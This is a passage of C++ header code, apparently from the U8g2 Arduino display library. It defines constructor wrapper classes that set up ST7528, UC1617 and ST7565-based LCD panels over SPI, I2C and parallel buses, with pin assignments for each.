u8g2_Setup_st7528_erc16064_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7528_ERC16064_F_8080 : public U8G2 {\n  public: U8G2_ST7528_ERC16064_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7528_erc16064_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7528_ERC16064_1_SW_I2C : public U8G2 {\n  public: U8G2_ST7528_ERC16064_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7528_i2c_erc16064_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_ST7528_ERC16064_1_HW_I2C : public U8G2 {\n  public: U8G2_ST7528_ERC16064_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7528_i2c_erc16064_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_ST7528_ERC16064_1_2ND_HW_I2C : public U8G2 {\n  public: U8G2_ST7528_ERC16064_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7528_i2c_erc16064_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_ST7528_ERC16064_2_SW_I2C : public U8G2 {\n  public: U8G2_ST7528_ERC16064_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7528_i2c_erc16064_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_ST7528_ERC16064_2_HW_I2C : public U8G2 {\n  public: U8G2_ST7528_ERC16064_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7528_i2c_erc16064_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_ST7528_ERC16064_2_2ND_HW_I2C : public U8G2 {\n  public: U8G2_ST7528_ERC16064_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7528_i2c_erc16064_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_ST7528_ERC16064_F_SW_I2C : public U8G2 {\n  public: U8G2_ST7528_ERC16064_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7528_i2c_erc16064_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_ST7528_ERC16064_F_HW_I2C : public U8G2 {\n  public: U8G2_ST7528_ERC16064_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7528_i2c_erc16064_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_ST7528_ERC16064_F_2ND_HW_I2C : public U8G2 {\n  public: U8G2_ST7528_ERC16064_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7528_i2c_erc16064_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_UC1617_JLX128128_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_UC1617_JLX128128_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1617_jlx128128_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_UC1617_JLX128128_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1617_JLX128128_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1617_jlx128128_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1617_JLX128128_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1617_JLX128128_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1617_jlx128128_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1617_JLX128128_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_UC1617_JLX128128_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1617_jlx128128_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_UC1617_JLX128128_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_UC1617_JLX128128_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1617_jlx128128_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_UC1617_JLX128128_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_UC1617_JLX128128_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1617_jlx128128_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_UC1617_JLX128128_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1617_JLX128128_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1617_jlx128128_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1617_JLX128128_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1617_JLX128128_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1617_jlx128128_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1617_JLX128128_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_UC1617_JLX128128_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1617_jlx128128_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_UC1617_JLX128128_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_UC1617_JLX128128_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1617_jlx128128_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_UC1617_JLX128128_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_UC1617_JLX128128_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1617_jlx128128_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_UC1617_JLX128128_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1617_JLX128128_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1617_jlx128128_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1617_JLX128128_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1617_JLX128128_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1617_jlx128128_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1617_JLX128128_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_UC1617_JLX128128_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1617_jlx128128_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_UC1617_JLX128128_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_UC1617_JLX128128_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1617_jlx128128_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_UC1617_JLX128128_1_SW_I2C : public U8G2 {\n  public: U8G2_UC1617_JLX128128_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1617_i2c_jlx128128_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_UC1617_JLX128128_1_HW_I2C : public U8G2 {\n  public: U8G2_UC1617_JLX128128_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1617_i2c_jlx128128_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_UC1617_JLX128128_1_2ND_HW_I2C : public U8G2 {\n  public: U8G2_UC1617_JLX128128_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1617_i2c_jlx128128_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_UC1617_JLX128128_2_SW_I2C : public U8G2 {\n  public: U8G2_UC1617_JLX128128_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1617_i2c_jlx128128_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_UC1617_JLX128128_2_HW_I2C : public U8G2 {\n  public: U8G2_UC1617_JLX128128_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1617_i2c_jlx128128_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_UC1617_JLX128128_2_2ND_HW_I2C : public U8G2 {\n  public: U8G2_UC1617_JLX128128_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1617_i2c_jlx128128_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_UC1617_JLX128128_F_SW_I2C : public U8G2 {\n  public: U8G2_UC1617_JLX128128_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1617_i2c_jlx128128_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_UC1617_JLX128128_F_HW_I2C : public U8G2 {\n  public: U8G2_UC1617_JLX128128_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1617_i2c_jlx128128_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_UC1617_JLX128128_F_2ND_HW_I2C : public U8G2 {\n  public: U8G2_UC1617_JLX128128_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1617_i2c_jlx128128_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_ST7565_EA_DOGM128_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST7565_EA_DOGM128_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_ea_dogm128_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_EA_DOGM128_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_EA_DOGM128_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_ea_dogm128_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_EA_DOGM128_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_EA_DOGM128_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_ea_dogm128_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_EA_DOGM128_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST7565_EA_DOGM128_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_ea_dogm128_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST7565_EA_DOGM128_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_EA_DOGM128_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_ea_dogm128_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST7565_EA_DOGM128_1_6800 : public U8G2 {\n  public: U8G2_ST7565_EA_DOGM128_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_ea_dogm128_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_EA_DOGM128_1_8080 : public U8G2 {\n  public: U8G2_ST7565_EA_DOGM128_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_ea_dogm128_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_LM6063_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST7565_LM6063_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_lm6063_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_LM6063_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_LM6063_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_lm6063_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_LM6063_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_LM6063_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_lm6063_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_LM6063_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST7565_LM6063_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_lm6063_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST7565_LM6063_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_LM6063_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_lm6063_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST7565_LM6063_1_6800 : public U8G2 {\n  public: U8G2_ST7565_LM6063_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_lm6063_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_LM6063_1_8080 : public U8G2 {\n  public: U8G2_ST7565_LM6063_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_lm6063_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_64128N_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST7565_64128N_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_64128n_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_64128N_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_64128N_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_64128n_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_64128N_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_64128N_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_64128n_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_64128N_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST7565_64128N_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_64128n_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST7565_64128N_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST7565_64128N_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_64128n_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST7565_64128N_1_6800 : public U8G2 {\n  public: U8G2_ST7565_64128N_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_64128n_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_64128N_1_8080 : public U8G2 {\n  public: U8G2_ST7565_64128N_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_64128n_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_ZOLEN_128X64_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST7565_ZOLEN_128X64_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st7565_zolen_128x64_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST7565_ZOLEN_128X64_1_4W_HW_SPI : public U8G2 {\n  public: 